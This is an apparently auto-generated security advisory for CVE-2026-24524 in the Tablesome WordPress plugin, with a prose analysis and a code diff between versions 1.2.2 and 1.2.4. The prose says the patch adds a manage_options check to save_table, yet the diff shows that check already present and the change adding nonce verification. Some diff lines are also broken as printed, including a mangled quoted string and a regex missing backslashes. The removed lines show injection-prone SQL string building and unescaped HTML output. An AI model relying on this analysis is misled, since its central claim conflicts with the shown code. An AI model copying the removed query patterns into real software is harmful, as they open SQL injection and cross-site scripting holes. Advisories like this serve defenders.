Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-24524: Tablesome <= 1.2.2 – Missing Authorization (tablesome)

Plugin tablesome
Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 1.2.2
Patched Version 1.2.4
Disclosed January 25, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-24524:
The Tablesome WordPress plugin version 1.2.2 and earlier contains a missing authorization vulnerability in its AJAX handler. The vulnerability allows authenticated attackers with subscriber-level permissions or higher to perform unauthorized administrative actions, specifically saving table configurations. This missing capability check violates the principle of least privilege and exposes administrative functionality to low-privileged users.

Atomic Edge research identified the root cause in the `save_table()` function within `/tablesome/includes/ajax-handler.php`. The function lacked a proper capability check before processing administrative table save operations. The vulnerable code path began when an AJAX request with the action parameter set to `wp_ajax_save_table` reached the handler. The function executed the table save logic without verifying the user had the `manage_options` capability required for administrative plugin operations. This omission allowed any authenticated user, regardless of role, to trigger the save functionality.

Exploitation requires an authenticated attacker with any WordPress user account, including subscriber roles. The attacker sends a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `save_table`. The request must include a valid WordPress nonce and the table configuration data in the request body. The attack vector leverages the plugin’s AJAX endpoint intended for administrative table management but accessible to all authenticated users due to the missing authorization check. Successful exploitation modifies table configurations without proper permissions.

The patch adds a capability check using `current_user_can(‘manage_options’)` at the beginning of the `save_table()` function. This verification ensures only users with administrative privileges can execute table save operations. The patch also introduces a `verify_nonce()` method that consolidates nonce verification for both `_wpnonce` and `nonce` parameter names, improving security consistency. Before the patch, the function processed requests from any authenticated user. After the patch, the function immediately returns a 403 error if the user lacks the `manage_options` capability, preventing unauthorized access.

Successful exploitation allows attackers with subscriber-level access to modify table configurations within the Tablesome plugin. This could lead to unauthorized data manipulation, disruption of table functionality, or injection of malicious content into tables displayed on the site. While the vulnerability does not directly enable remote code execution or complete site takeover, it violates access control boundaries and could facilitate further attacks through manipulated table content. The CVSS score of 4.3 reflects the requirement for authentication and the limited impact scope.

Differential between vulnerable and patched code

Code Diff
--- a/tablesome/components/cell-types/email.php
+++ b/tablesome/components/cell-types/email.php
@@ -16,9 +16,9 @@
                 return $cell;
             }

-            $cell["html"] = $cell['value'];
+            $cell["html"] = esc_html($cell['value']);
             if (filter_var(trim($cell['value']), FILTER_VALIDATE_EMAIL)) {
-                $cell["html"] = '<a href="mailto:' . $cell['value'] . '?subject = Feedback&body = Message">' . $cell['value'] . '</a>';
+                $cell["html"] = '<a href="' . esc_url('mailto:' . $cell['value'] . '?subject=Feedback&body=Message') . '">' . esc_html($cell['value']) . '</a>';
             }

             return $cell;
--- a/tablesome/components/cell-types/file/view.php
+++ b/tablesome/components/cell-types/file/view.php
@@ -32,15 +32,13 @@
                     break;
             }

-            // error_log('html : ' . $html);
-
             return $html;
         }

         public function get_image($data, $is_preview = false)
         {
-            $url = isset($data["url"]) && !empty($data["url"]) ? $data["url"] : "";
-            $link = isset($data["link"]) && !empty($data["link"]) ? $data["link"] : "";
+            $url = isset($data["url"]) && !empty($data["url"]) ? esc_url($data["url"]) : "";
+            $link = isset($data["link"]) && !empty($data["link"]) ? esc_url($data["link"]) : "";

             $html = '<img  class="tablesome__inputMediaPreview tablesome__inputMediaPreview--image" src="' . $url . '" />';

@@ -54,7 +52,7 @@
         public function get_video($url = '', $mime_type = '')
         {
             $html = '<video controls class="tablesome__inputMediaPreview tablesome__inputMediaPreview--video">';
-            $html .= '<source src="' . $url . '" type="' . $mime_type . '">';
+            $html .= '<source src="' . esc_url($url) . '" type="' . esc_attr($mime_type) . '">';
             $html .= __('Your browser does not support HTML video', 'tablesome');
             $html .= '</video>';

@@ -64,7 +62,7 @@
         public function get_audio($url = '', $mime_type = '')
         {
             $html = '<audio controls class="tablesome__inputMediaPreview tablesome__inputMediaPreview--audio">';
-            $html .= '<source src="' . $url . '" type="' . $mime_type . '">';
+            $html .= '<source src="' . esc_url($url) . '" type="' . esc_attr($mime_type) . '">';
             $html .= __('Your browser does not support HTML audio', 'tablesome');
             $html .= '</audio>';

@@ -73,7 +71,7 @@

         public function get_media_link($url = '', $name = '')
         {
-            return '<a class="tablesome__inputMediaPreview tablesome__inputMediaPreview--link" href="' . $url . '" target="_blank">' . $name . '</a>';
+            return '<a class="tablesome__inputMediaPreview tablesome__inputMediaPreview--link" href="' . esc_url($url) . '" target="_blank">' . esc_html($name) . '</a>';
         }
     }
 }
--- a/tablesome/components/table/other-cpt-model.php
+++ b/tablesome/components/table/other-cpt-model.php
@@ -472,11 +472,11 @@
                 } else if ('post_author' === $source_operand_id) {
                     $statements .= " AND {$wpdb->posts}.{$source_operand_id} ";
                     if (in_array($operator, ['contains', 'does_not_contain'])) {
-                        $author_ids = empty($destination_value) ? [0] : $destination_value;
+                        $author_ids = empty($destination_value) ? [0] : array_map('intval', (array) $destination_value);
                         $statements .= $operator_map_value . ' (' . implode(',', $author_ids) . ')';
                     } else if (in_array($operator, ['is', 'is_not']) && !empty($destination_value)) {
                         $operator_map_value = ('is' === $operator) ? '=' : '<>';
-                        $author_id = is_array($destination_value) ? $destination_value[0] : $destination_value;
+                        $author_id = intval(is_array($destination_value) ? $destination_value[0] : $destination_value);
                         $statements .= $operator_map_value . ''' . $author_id . ''';
                     } else if (in_array($operator, ['empty', 'not_empty'])) {
                         $operator_map_value = ('empty' === $operator) ? '=' : '<>';
--- a/tablesome/includes/actions.php
+++ b/tablesome/includes/actions.php
@@ -24,6 +24,8 @@

         public $async_email_handler;

+        public $redirect_token;
+
         public function __construct() {
             $this->utils = new TablesomeIncludesUtils();
             /** plugin activation Hook */
@@ -243,6 +245,29 @@
         // Belows are callback functions of adding Actions order wise
         public function init_hook() {
             $this->setGlobalCurrentUserID();
+            // Set the redirect token cookie early, before any output is sent.
+            // This must happen in init (not wp_enqueue_scripts) because themes
+            // output HTML before wp_head(), making headers_sent() return true.
+            // Exclude wp-login.php: is_admin() returns false for it, but setting
+            // a cookie there creates stale tokens that mismatch the JS token
+            // generated on the actual form page.
+            $is_login_page = isset( $GLOBALS['pagenow'] ) && $GLOBALS['pagenow'] === 'wp-login.php';
+            // REST_REQUEST constant is not defined until parse_request (after init),
+            // so detect REST API requests via REQUEST_URI instead.
+            $request_uri = $_SERVER['REQUEST_URI'] ?? '';
+            $is_rest_request = defined( 'REST_REQUEST' ) || strpos( $request_uri, '/wp-json/' ) !== false || strpos( $request_uri, 'rest_route=' ) !== false;
+            if ( !is_admin() && !$is_login_page && !wp_doing_ajax() && !$is_rest_request && !headers_sent() ) {
+                $this->redirect_token = wp_generate_password( 32, false );
+                setcookie(
+                    'tablesome_redirect_token',
+                    $this->redirect_token,
+                    0,
+                    COOKIEPATH,
+                    COOKIE_DOMAIN,
+                    is_ssl(),
+                    false
+                );
+            }
             $this->cron->action( 'start' );
             /*  Tablesome Table-Actions Ajax Hooks */
             new TablesomeIncludesAjax_Handler();
@@ -961,6 +986,11 @@
                 ),
                 "site_domain"    => $_SERVER['SERVER_NAME'],
             );
+            // Use the redirect token that was generated and set as a cookie
+            // during init_hook (before any output was sent)
+            if ( !empty( $this->redirect_token ) ) {
+                $tablesome_ajax_object['redirect_token'] = $this->redirect_token;
+            }
             return $tablesome_ajax_object;
         }

--- a/tablesome/includes/ajax-handler.php
+++ b/tablesome/includes/ajax-handler.php
@@ -27,11 +27,32 @@
             add_action('wp_ajax_update_feature_notice_dismissal_data_via_ajax', array(new TablesomeIncludesModulesFeature_Notice(), 'update_feature_notice_dismissal_data_via_ajax'));

             add_action("wp_ajax_get_redirection_data", array($this, 'get_redirection_data'));
+            add_action("wp_ajax_nopriv_get_redirection_data", array($this, 'get_redirection_data'));

         }

+        private function verify_nonce()
+        {
+            // Check both _wpnonce and nonce fields for backwards compatibility
+            if (check_ajax_referer('tablesome_nonce', '_wpnonce', false)) {
+                return true;
+            }
+            if (check_ajax_referer('tablesome_nonce', 'nonce', false)) {
+                return true;
+            }
+            return false;
+        }
+
         public function save_table()
         {
+            if (!$this->verify_nonce()) {
+                wp_send_json_error(array(
+                    'message' => 'Security check failed. Please refresh the page and try again.',
+                    'code' => 'invalid_nonce'
+                ), 403);
+                wp_die();
+            }
+
             if (!current_user_can('manage_options')) {
                 wp_send_json_error(array(
                     'message' => 'Unauthorized access. You do not have permission to perform this action.',
@@ -74,6 +95,14 @@

         public function get_table_columns_by_table_id()
         {
+            if (!$this->verify_nonce()) {
+                wp_send_json_error(array(
+                    'message' => 'Security check failed. Please refresh the page and try again.',
+                    'code' => 'invalid_nonce'
+                ), 403);
+                wp_die();
+            }
+
             if (!current_user_can('edit_posts')) {
                 wp_send_json_error(array(
                     'message' => 'Unauthorized access. You do not have permission to view table columns.',
@@ -126,18 +155,29 @@

         public function get_redirection_data()
         {
-            if (!is_user_logged_in()) {
+            if (!$this->verify_nonce()) {
                 wp_send_json_error(array(
-                    'message' => 'Unauthorized access. You must be logged in to access this resource.',
-                    'code' => 'unauthorized'
+                    'message' => 'Security check failed. Please refresh the page and try again.',
+                    'code' => 'invalid_nonce'
                 ), 403);
                 wp_die();
             }

-            $redirection_data = get_option('workflow_redirection_data');
+            $redirection_data = [];

-            error_log('*** get_redirection_data ***');
-            $redirection_data = isset($redirection_data) && !empty($redirection_data) ? $redirection_data : [];
+            // Read redirect data from the per-session transient keyed by redirect token
+            $redirect_token = isset($_REQUEST['redirect_token'])
+                ? sanitize_text_field($_REQUEST['redirect_token'])
+                : '';
+
+            if (!empty($redirect_token)) {
+                $transient_key = 'tablesome_redir_' . substr(md5($redirect_token), 0, 20);
+                $transient_data = get_transient($transient_key);
+                if (!empty($transient_data)) {
+                    $redirection_data = $transient_data;
+                    delete_transient($transient_key);
+                }
+            }

             $response = array(
                 'status' => 'success',
@@ -145,7 +185,6 @@
                 'data' => $redirection_data,
             );

-            delete_option('workflow_redirection_data');
             wp_send_json($response);
             wp_die();
         }
--- a/tablesome/includes/lib/freemius-integrator.php
+++ b/tablesome/includes/lib/freemius-integrator.php
@@ -12,25 +12,26 @@
             // }
             // require_once $freemius_wordpress_sdk;
             $tablesome_fs = fs_dynamic_init( array(
-                'id'             => '7163',
-                'slug'           => 'tablesome',
-                'type'           => 'plugin',
-                'public_key'     => 'pk_12b7206bfde98e6b6646e8714b8f2',
-                'is_premium'     => false,
-                'premium_suffix' => '',
-                'has_addons'     => false,
-                'has_paid_plans' => true,
-                'trial'          => array(
+                'id'               => '7163',
+                'slug'             => 'tablesome',
+                'type'             => 'plugin',
+                'public_key'       => 'pk_12b7206bfde98e6b6646e8714b8f2',
+                'is_premium'       => false,
+                'premium_suffix'   => '',
+                'has_addons'       => false,
+                'has_paid_plans'   => true,
+                'trial'            => array(
                     'days'               => 7,
                     'is_require_payment' => true,
                 ),
-                'menu'           => array(
+                'menu'             => array(
                     'slug'       => 'edit.php?post_type=' . TABLESOME_CPT,
                     'first-path' => 'edit.php?post_type=' . TABLESOME_CPT . '&page=tablesome-onboarding',
                     'contact'    => false,
                     'support'    => true,
                 ),
-                'is_live'        => true,
+                'is_live'          => true,
+                'is_org_compliant' => true,
             ) );
         }
         return $tablesome_fs;
--- a/tablesome/includes/modules/datatable/record.php
+++ b/tablesome/includes/modules/datatable/record.php
@@ -68,16 +68,27 @@
         {

             $prevent_field_column = isset($insert_args['prevent_field_column']) ? $insert_args['prevent_field_column'] : "";
-
+
             // Return false if no duplicate prevention column is specified
             if (empty($prevent_field_column)) {
                 return false;
             }
-
-            $prevent_field_value = isset($data[$prevent_field_column]) ? $data[$prevent_field_column] : "";
+
+            // Sanitize column name to prevent SQL injection
+            $mysql = new TablesomeIncludesModulesMyqueMysql();
+            $sanitized_column = $mysql->sanitize_column_name($prevent_field_column);
+            if (empty($sanitized_column)) {
+                error_log('check_if_duplicate: rejected invalid prevent_field_column');
+                return false;
+            }
+
+            $prevent_field_value = isset($data[$sanitized_column]) ? $data[$sanitized_column] : "";

             global $wpdb;
-            $query = "SELECT * FROM $table_name WHERE `$prevent_field_column` = '$prevent_field_value' LIMIT 1;";
+            $query = $wpdb->prepare(
+                "SELECT * FROM `$table_name` WHERE `$sanitized_column` = %s LIMIT 1;",
+                $prevent_field_value
+            );
             $result = $wpdb->get_results($query);
             return !empty($result) ? true : false;
         }
--- a/tablesome/includes/modules/feature-notice.php
+++ b/tablesome/includes/modules/feature-notice.php
@@ -103,6 +103,15 @@

         public function update_feature_notice_dismissal_data_via_ajax()
         {
+            if (!check_ajax_referer('tablesome_nonce', '_wpnonce', false) &&
+                !check_ajax_referer('tablesome_nonce', 'nonce', false)) {
+                wp_send_json_error(array(
+                    'message' => 'Security check failed.',
+                    'code' => 'invalid_nonce'
+                ), 403);
+                wp_die();
+            }
+
             update_option($this->dismissed_option_name, TABLESOME_VERSION);

             $response = array(
--- a/tablesome/includes/modules/myque/mysql.php
+++ b/tablesome/includes/modules/myque/mysql.php
@@ -50,12 +50,13 @@

         public function get_row_count($table_id)
         {
-            if( !isset($table_id) || empty($table_id) || is_null($table_id) || $table_id == 0 ){
+            $table_id = intval($table_id);
+            if( empty($table_id) || $table_id == 0 ){
                 return 0;
             }
             $table_name = TABLESOME_TABLE_NAME . '_' . $table_id;
             $table_name = $this->wpdb->prefix . $table_name;
-            $query = "SELECT COUNT(*) FROM $table_name";
+            $query = "SELECT COUNT(*) FROM `$table_name`";
             return $this->wpdb->get_var($query);
         }

@@ -116,52 +117,33 @@
                 return 0;
             }

-            $query = "INSERT INTO $table_name (";
-
-            $ii = 0;
-
             if (count($record) == 0) {
                 return 0;
             }

-            // Check if record has columns missing in table
-            // $this->check_and_add_missing_columns($record, $table_name);
-
-
-            foreach ($record as $key => $cell) {
-                # code...
-                // $column_name = $this->get_column_name($cell);
-                $column_name = $key;
-                $query .= " `$column_name`";
-
-                // Add comma if not the last item
-                if ($ii < count($record) - 1) {
-                    $query .= ",";
-                }
-                $ii++;
-            } // END of cell loop
-
-            $query .= ") SELECT ";
-
-            $ii = 0;
+            // Filter to only valid column names, keeping columns and values in sync
+            $columns = [];
+            $values = [];
             foreach ($record as $key => $value) {
-                # code...
-                // $value = $cell['value'];
-                $value = esc_sql($value);
-                $query .= " '$value'";
-                // Add comma if not the last item
-                if ($ii < count($record) - 1) {
-                    $query .= ",";
+                $column_name = $this->sanitize_column_name($key);
+                if (empty($column_name)) {
+                    continue;
                 }
+                $columns[] = "`$column_name`";
+                $values[] = "'" . esc_sql($value) . "'";
+            }

-                $ii++;
-            } // END of cell loop
+            if (empty($columns)) {
+                return 0;
+            }
+
+            $query = "INSERT INTO $table_name (" . implode(", ", $columns) . ") SELECT " . implode(", ", $values);

             $query .= " ";
             $enabled_prevent_duplication = isset($insert_args['enable_duplication_prevention']) && $insert_args['enable_duplication_prevention'] == 1 ? true : false;
             $enabled_limit_submission = isset($insert_args['enable_submission_limit']) && $insert_args['enable_submission_limit'] == 1 ? true : false;
             $submission_limit = isset($insert_args['max_allowed_submissions']) && !empty($insert_args['max_allowed_submissions']) ? intval($insert_args['max_allowed_submissions']) : 100;
-            $prevent_field_column = isset($insert_args['prevent_field_column']) ? $insert_args['prevent_field_column'] : "";
+            $prevent_field_column = isset($insert_args['prevent_field_column']) ? $this->sanitize_column_name($insert_args['prevent_field_column']) : "";
             $can_add_prevent_query = ($enabled_prevent_duplication || $enabled_limit_submission);

             if ($can_add_prevent_query) {
@@ -171,7 +153,10 @@
                 $query .= "WHERE ";

                 if ($enabled_prevent_duplication && !empty($prevent_field_column) && isset($record[$prevent_field_column])) {
-                    $query .= "NOT EXISTS (SELECT 1 FROM " . $table_name . " WHERE " . $prevent_field_column . " = '" . esc_sql($record[$prevent_field_column]) . "' ) ";
+                    $query .= $wpdb->prepare(
+                        "NOT EXISTS (SELECT 1 FROM " . $table_name . " WHERE `" . $prevent_field_column . "` = %s ) ",
+                        $record[$prevent_field_column]
+                    );
                 }

                 $query .= " "; // space
@@ -185,11 +170,6 @@
                 }
             }

-            // error_log('$query : ' . $query);
-
-            // Todo: Add wpdb->prepare() to $query
-            // Example: $wpdb->query( $wpdb->prepare($query) );
-
             $insert_success_bool = $wpdb->query($query);
             $inserted_record_id = $wpdb->insert_id;
             // $inserted_record_id = $wpdb->query("SELECT LAST_INSERT_ID();");
@@ -204,22 +184,35 @@
         {
             // error_log('update_record $record : ' . print_r($record, true));

-            $prevent_field_column = isset($insert_args['prevent_field_column']) ? $insert_args['prevent_field_column'] : "";
+            $prevent_field_column = isset($insert_args['prevent_field_column']) ? $this->sanitize_column_name($insert_args['prevent_field_column']) : "";
             $prevent_field_value = isset($record[$prevent_field_column]) ? $record[$prevent_field_column] : "";

+            if (empty($prevent_field_column)) {
+                error_log('update_record: invalid prevent_field_column');
+                return $record;
+            }
+
             global $wpdb;
-            $query = "UPDATE $table_name SET ";
-            $ii = 0;
+            $assignments = [];
             foreach ($record as $key => $value) {
-                $value = esc_sql($value);
-                $query .= " `$key` = '$value'";
-                // Add comma if not the last item
-                if ($ii < count($record) - 1) {
-                    $query .= ",";
+                $sanitized_key = $this->sanitize_column_name($key);
+                if (empty($sanitized_key)) {
+                    continue;
                 }
-                $ii++;
-            } // END of cell loop
-            $query .= " WHERE `$prevent_field_column` = '$prevent_field_value' LIMIT 1;";
+                $value = esc_sql($value);
+                $assignments[] = "`$sanitized_key` = '$value'";
+            }
+
+            if (empty($assignments)) {
+                error_log('update_record: no valid columns to update');
+                return $record;
+            }
+
+            $query = "UPDATE `$table_name` SET " . implode(", ", $assignments);
+            $query = $wpdb->prepare(
+                $query . " WHERE `$prevent_field_column` = %s LIMIT 1;",
+                $prevent_field_value
+            );
             $wpdb->query($query);
             return $record;
         }
@@ -228,10 +221,16 @@
             global $wpdb;
             $table_name = $args['table_name'];
             $args['table_name'] = $table_name;
-            $column_name = $args['name'];
-            $column_type = $args['format'];
+            $column_name = $this->sanitize_column_name($args['name']);
+            $column_type = $this->sanitize_column_type($args['format']);
+
+            if (empty($column_name) || empty($column_type)) {
+                error_log('insert_column: invalid column name or type');
+                $response['new_column_created'] = false;
+                return $response;
+            }

-            $query = "ALTER TABLE $table_name ADD $column_name $column_type DEFAULT ''";
+            $query = "ALTER TABLE `$table_name` ADD `$column_name` $column_type DEFAULT ''";
             // error_log('insert_column $query : ' . $query);
             $response['new_column_created'] = $wpdb->query($query);
             return $response;
@@ -242,15 +241,15 @@
             global $wpdb;
             $table_name = $args['table_name'];
             $args['table_name'] = $table_name;
-            $source_column = $args['source_column'];
-            $target_column = $args['target_column'];
+            $source_column = $this->sanitize_column_name($args['source_column']);
+            $target_column = $this->sanitize_column_name($args['target_column']);

             if(empty($source_column) || empty($target_column)){
-                error_log('copy_column_content: $source_column or $target_column is empty');
+                error_log('copy_column_content: $source_column or $target_column is empty or invalid');
                 return $response;
             }

-            $query = "UPDATE $table_name SET $target_column = $source_column";
+            $query = "UPDATE `$table_name` SET `$target_column` = `$source_column`";
             $response['copied_column_records'] = $wpdb->query($query);
             return $response;
         }
@@ -262,11 +261,11 @@
             global $wpdb;
             $table_name = $args['table_name'];
             $args['table_name'] = $table_name;
-            $source_column = $args['source_column'];
-            $target_column = $args['target_column'];
+            $source_column = $this->sanitize_column_name($args['source_column']);
+            $target_column = $this->sanitize_column_name($args['target_column']);

             if(empty($source_column) || empty($target_column)){
-                error_log('duplicate_column: $source_column or $target_column is empty');
+                error_log('duplicate_column: $source_column or $target_column is empty or invalid');
                 return $response;
             }

@@ -278,11 +277,11 @@
             }

             // Create New Column
-            $query = "ALTER TABLE $table_name ADD $target_column TEXT NOT NULL";
+            $query = "ALTER TABLE `$table_name` ADD `$target_column` TEXT NOT NULL";
             $response['new_column_created'] = $wpdb->query($query);

             // Copy Data from Source Column to Target Column
-            $query = "UPDATE $table_name SET $target_column = $source_column";
+            $query = "UPDATE `$table_name` SET `$target_column` = `$source_column`";
             // error_log('$query : ' . $query);
             $response['copied_column_records'] = $wpdb->query($query);

@@ -294,8 +293,9 @@
             if (empty($record_id)) {
                 return null;
             }
+            $record_id = intval($record_id);
             $table_name = $args['table_name'];
-            $query = "select * from {$table_name} where id = {$record_id}";
+            $query = $this->wpdb->prepare("SELECT * FROM {$table_name} WHERE id = %d", $record_id);
             $db_record = $this->wpdb->get_row($query);
             if (is_wp_error($db_record)) {
                 error_log("get_record error:" . $db_record->get_error_message());
@@ -318,7 +318,7 @@
             }

             $query .= $this->orderby($args);
-            $query .= " LIMIT " . $args['limit'];
+            $query .= " LIMIT " . max(1, intval($args['limit']));

             $result = $wpdb->get_results($query);

@@ -333,12 +333,30 @@
         {
             $sql_string = " ORDER BY ";
             $orderByArgs = [];
+
+            // Validate orderby column names against actual table columns
+            $table_columns = $this->get_table_columns($args['table_name']);
+            $allowed_columns = ['id', 'rank_order'];
+            foreach ($table_columns as $col) {
+                $allowed_columns[] = $col['Field'];
+            }
+
             foreach ($args['orderby'] as $key => $value) {
-                $orderByArgs[] = $args['table_name'] . "." . $value;
+                $value = sanitize_key($value);
+                if (in_array($value, $allowed_columns, true)) {
+                    $orderByArgs[] = "`" . $args['table_name'] . "`.`" . $value . "`";
+                }
             }
-            // Looks like wptablesome_table_287.column_2, wptablesome_table_287.column_3 ....
+
+            if (empty($orderByArgs)) {
+                $orderByArgs[] = "`" . $args['table_name'] . "`.`id`";
+            }
+
             $sql_string = $sql_string . implode(',', $orderByArgs);
-            $sql_string .= " " . $args['order'];
+
+            // Whitelist order direction
+            $order = strtoupper(trim($args['order']));
+            $sql_string .= in_array($order, ['ASC', 'DESC'], true) ? " " . $order : " ASC";

             return $sql_string;
         }
@@ -527,7 +545,13 @@
                 return $sql_string;
             }

-            if ($operand2 == 'today') {
+            if ($operand2 == 'today_and_after') {
+                $negate = ($mysql_operator == '!=' || $mysql_operator == 'is_not');
+                $sql_string .= "DATE($operand1_query_string) " . ($negate ? '<' : '>=') . " CURDATE()";
+            } else if ($operand2 == 'today_and_before') {
+                $negate = ($mysql_operator == '!=' || $mysql_operator == 'is_not');
+                $sql_string .= "DATE($operand1_query_string) " . ($negate ? '>' : '<=') . " CURDATE()";
+            } else if ($operand2 == 'today') {
                 $sql_string .= "DATE($operand1_query_string) $mysql_operator CURDATE()";
             } else if ($operand2 == 'tomorrow') {
                 $sql_string .= "DATEDIFF($operand1_query_string, CURDATE()) $mysql_operator 1";
@@ -682,6 +706,12 @@
                 $condition['mysql_operator'] = $validated_operator;
             }

+            // SECURITY FIX: Cast operand_2 to numeric to prevent SQL injection
+            // For number conditions, operand_2 is interpolated directly into SQL
+            if ($condition['data_type'] == 'number') {
+                $condition['operand_2'] = floatval($condition['operand_2']);
+            }
+
             return $condition;

         }
@@ -727,19 +757,93 @@
                 }
             }

-            //
-            // SHOULD ADD ' '
-            $condition['operand_2'] = "'" . $condition['operand_2'] . "'";
+            // Escape operand_2 value to prevent SQL injection
+            $condition['operand_2'] = "'" . esc_sql($condition['operand_2']) . "'";

             return $condition;
         }

+        /**
+         * Sanitize a column name to prevent SQL injection.
+         * Only allows alphanumeric characters and underscores (matching the column_N pattern).
+         *
+         * @param string $column_name The column name to sanitize
+         * @return string Sanitized column name, or empty string if invalid
+         */
+        public function sanitize_column_name($column_name)
+        {
+            if (empty($column_name) || !is_string($column_name)) {
+                return '';
+            }
+
+            // Column names must match pattern: word characters only (letters, digits, underscores)
+            if (!preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/', $column_name)) {
+                error_log('sanitize_column_name: rejected invalid column name: ' . substr($column_name, 0, 100));
+                return '';
+            }
+
+            return $column_name;
+        }
+
+        /**
+         * Sanitize a column type for ALTER TABLE statements.
+         * Only allows known MySQL data types.
+         *
+         * @param string $column_type The column type to sanitize
+         * @return string Sanitized column type, or empty string if invalid
+         */
+        public function sanitize_column_type($column_type)
+        {
+            if (empty($column_type) || !is_string($column_type)) {
+                return '';
+            }
+
+            $allowed_types = [
+                'text', 'TEXT',
+                'varchar', 'VARCHAR',
+                'int', 'INT',
+                'integer', 'INTEGER',
+                'bigint', 'BIGINT',
+                'float', 'FLOAT',
+                'double', 'DOUBLE',
+                'decimal', 'DECIMAL',
+                'date', 'DATE',
+                'datetime', 'DATETIME',
+                'timestamp', 'TIMESTAMP',
+                'boolean', 'BOOLEAN',
+                'tinyint', 'TINYINT',
+                'smallint', 'SMALLINT',
+                'mediumint', 'MEDIUMINT',
+                'mediumtext', 'MEDIUMTEXT',
+                'longtext', 'LONGTEXT',
+                'json', 'JSON',
+            ];
+
+            $type_upper = strtoupper(trim($column_type));
+
+            // Handle types with length specifiers like VARCHAR(255)
+            if (preg_match('/^([A-Z]+)((d+))?$/', $type_upper, $matches)) {
+                if (in_array($matches[1], array_map('strtoupper', $allowed_types), true)) {
+                    return $type_upper;
+                }
+            }
+
+            // Check for exact match
+            if (in_array($column_type, $allowed_types, true)) {
+                return $column_type;
+            }
+
+            error_log('sanitize_column_type: rejected invalid column type: ' . substr($column_type, 0, 100));
+            return '';
+        }
+
         public function delete_table($table_id)
         {
             global $wpdb;
+            $table_id = intval($table_id);
             $table_name = TABLESOME_TABLE_NAME . '_' . $table_id;
             $table_name = $wpdb->prefix . $table_name;
-            $query = "DROP TABLE IF EXISTS $table_name";
+            $query = "DROP TABLE IF EXISTS `$table_name`";
             $result = $wpdb->query($query);
             // error_log('delete_table $result : ' . $result);
             return $result;
@@ -748,9 +852,10 @@
         public function empty_the_table($table_id)
         {
             global $wpdb;
+            $table_id = intval($table_id);
             $table_name = TABLESOME_TABLE_NAME . '_' . $table_id;
             $table_name = $wpdb->prefix . $table_name;
-            $query = "DELETE FROM $table_name";
+            $query = "DELETE FROM `$table_name`";
             $result = $wpdb->query($query);
             return $result;
         }
--- a/tablesome/includes/modules/tablesomedb-rest-api/tablesomedb-rest-api.php
+++ b/tablesome/includes/modules/tablesomedb-rest-api/tablesomedb-rest-api.php
@@ -983,6 +983,10 @@

             $query_args = isset($params['query_args']) && is_array($params['query_args']) ? $params['query_args'] : [];

+            // Whitelist allowed query_args keys to prevent parameter injection
+            $allowed_query_keys = ['where', 'orderby', 'order', 'limit', 'table_meta', 'collection', 'number'];
+            $query_args = array_intersect_key($query_args, array_flip($allowed_query_keys));
+
             $post = get_post($table_id);

             $access_info = $this->check_table_access($post);
@@ -991,30 +995,27 @@
                 return new WP_Error($access_info['error_code'], $access_info['message']);
             }

-            // if (empty($post) || $post->post_type != TABLESOME_CPT) {
-            //     $error_code = "INVALID_POST";
-            //     return new WP_Error($error_code, $this->get_error_message($error_code));
-            // }
             $table_meta = get_tablesome_data($post->ID);
             $tablesome_db = new TablesomeIncludesModulesTablesomeDBTablesomeDB();
             $table = $tablesome_db->create_table_instance($post->ID);

+            // Merge with safe defaults — table_id and table_name cannot be overridden
+            // since they're not in the allowed query_args keys whitelist
             $args = array_merge(
+                $query_args,
                 array(
                     'table_id' => $post->ID,
                     'table_name' => $table->name,
-                ), $query_args
+                    'table_meta' => $table_meta,
+                    'collection' => isset($query_args['collection']) ? $query_args['collection'] : [],
+                )
             );

+            // Use get_rows which returns already-formatted rows
             $records = $tablesome_db->get_rows($args);

-            // $query = $tablesome_db->query($query_args);
-
-            // // TODO: Return the formatted data if need. don't send the actual db data
-            // $records = isset($query->items) ? $query->items : [];
-
             $response_data = array(
-                'records' => $tablesome_db->get_formatted_rows($records, $table_meta, []),
+                'records' => $records,
                 'message' => 'Get records successfully',
                 'status' => 'success',
             );
--- a/tablesome/includes/modules/workflow/abstract-trigger.php
+++ b/tablesome/includes/modules/workflow/abstract-trigger.php
@@ -44,9 +44,6 @@
                 return;
             }

-            // delete redirection data in DB before loop the trigger instances
-            delete_option('workflow_redirection_data');
-
             // TODO: Will be removed in the future. It Will be replaced with the $workflow_data variable.
             $placeholders = $this->getPlaceholders($trigger_source_data);

@@ -57,9 +54,17 @@

             }

-            // store the redirection data in DB if any redirection action has configured
+            // Store redirection data keyed by the per-page-view redirect token
+            // to prevent race conditions between concurrent form submissions
             if (isset($workflow_redirection_data) && count($workflow_redirection_data) > 0) {
-                update_option('workflow_redirection_data', $workflow_redirection_data);
+                $redirect_token = isset($_COOKIE['tablesome_redirect_token'])
+                    ? sanitize_text_field($_COOKIE['tablesome_redirect_token'])
+                    : '';
+
+                if (!empty($redirect_token)) {
+                    $transient_key = 'tablesome_redir_' . substr(md5($redirect_token), 0, 20);
+                    set_transient($transient_key, $workflow_redirection_data, 60);
+                }
             }

         }
--- a/tablesome/includes/modules/workflow/traits/placeholder.php
+++ b/tablesome/includes/modules/workflow/traits/placeholder.php
@@ -47,6 +47,9 @@
         public function applyPlaceholders($placeholders, $content)
         {
             // error_log('applyPlaceholders() $placeholders : ' . print_r($placeholders, true));
+            if (!is_string($content)) {
+                return '';
+            }
             foreach ($placeholders as $name => $value) {
                 $content = str_replace($name, $value, $content);
             }
--- a/tablesome/tablesome.php
+++ b/tablesome/tablesome.php
@@ -5,7 +5,7 @@
 Plugin URI: https://tablesomewp.com/
 Description: Powerful Tables + Form Automations. Save, Edit, Display (frontend) & Export Form entries, integrate with Notion, Redirection for Forms. Supports Contact Form 7, WPForms, Gravity Forms, Fluent, Elementor and more
 Author: Pauple
-Version: 1.2.2
+Version: 1.2.4
 Author URI: http://pauple.com
 Network: False
 Text Domain: tablesome
@@ -46,7 +46,7 @@
             {

                 $constants = [
-                    'TABLESOME_VERSION' => '1.2.2',
+                    'TABLESOME_VERSION' => '1.2.4',
                     'TABLESOME_DOMAIN' => 'tablesome',
                     'TABLESOME_CPT' => 'tablesome_cpt',
                     'TABLESOME__FILE__' => __FILE__,
--- a/tablesome/vendor/composer/autoload_classmap.php
+++ b/tablesome/vendor/composer/autoload_classmap.php
@@ -158,6 +158,7 @@
     'Tablesome\Workflow_Library\Actions\Tablesome_Filter_Table' => $baseDir . '/workflow-library/actions/tablesome-filter-table.php',
